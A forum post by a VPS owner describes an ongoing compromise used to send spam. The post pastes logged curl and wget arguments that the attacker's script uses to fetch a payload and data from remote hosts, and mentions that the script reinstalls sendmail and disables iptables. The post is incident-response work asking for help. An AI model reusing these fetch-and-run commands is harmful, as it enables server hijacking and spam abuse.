My VPS server got hacked a few months ago and after finding (at least I thought so), the application/site with the exploit and shutting it down, it was quiet for a long time and now the friends that should be shot are back trying to send spam through my system.
So far I got it contained and prevent spam from being sent out by replacing these commands with shell scripts:
curl - this is being used to download the scripts from some .in domains (the hoster gives a **** as expected...). The curl command they try to execute are these (the micasino.eu is the actual script that is supposed to do the rest, the others are downloads for slightly encrypted message and receipient information...)
Thu Dec 1 04:33:14 EST 2011
-s http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:23 EST 2011
http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:24 EST 2011
-s -k https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 04:33:25 EST 2011
-s -k https://vrdjwjmurx.qlwiysjfav.in:190...f470&ch eck=1
Thu Dec 1 04:36:34 EST 2011
-s -k https://ddpbtadfrc.amhrixwypu.in:190...ec6b&chec k=1
Thu Dec 1 04:39:43 EST 2011
-s -k https://fqnqgyjjyo.xgvneqdwbn.in:190...4768&ch eck=1
Thu Dec 1 04:42:53 EST 2011
-s -k https://gtkcqbroqo.tmdnzapomk.in:190...21d8&chec k=1
Thu Dec 1 04:46:02 EST 2011
-s -k https://dflwkeausm.puvvgprgaq.in:190...f6f1&chec k=1
wget is the other route they try to get their crap installed through
Thu Dec 1 04:33:07 EST 2011
-q -O - http://www.micasino.eu/test.jpg
Thu Dec 1 04:33:24 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 05:49:11 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
Thu Dec 1 06:52:22 EST 2011
-q -O - -t 1 --no-check-certificate https://accounts.google.com/ServiceLogin?service=mail
rpm an interesting way to get "sendmail" back...
They are using rpm to re-install "sendmail" (after I removed it ....)
There are some other things that the script tries to do, like shutting down iptables.
My problem now is that I know when they come in, I got the netstat and ps output from that time:
netstat output
ps output (the "interesting" part starts line 47 - no idea how they can initiate a sshd session. sshd is tied down to my 2 static IPs).
secure output Looks like a lot of guys like my server...
By blocking the outgoing traffic on port 1905 (that is the one they download the junk from India on), I could get it down to the one IP on my VPS they must be getting in on...
04:33:28 vps kernel: Firewall: *TCP_OUT Blocked* IN= OUT=venet0 SRC=69.73.161.32 DST=94.23.208.20 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=24447 DF PROTO=TCP SPT=48748 DPT=1905 WINDOW=584
0 RES=0x00 SYN URGP=0
I cannot find the application they get in through - any thoughts how to search for the vulnerability?


LinkBack URL
About LinkBacks



Reply With Quote

Bookmarks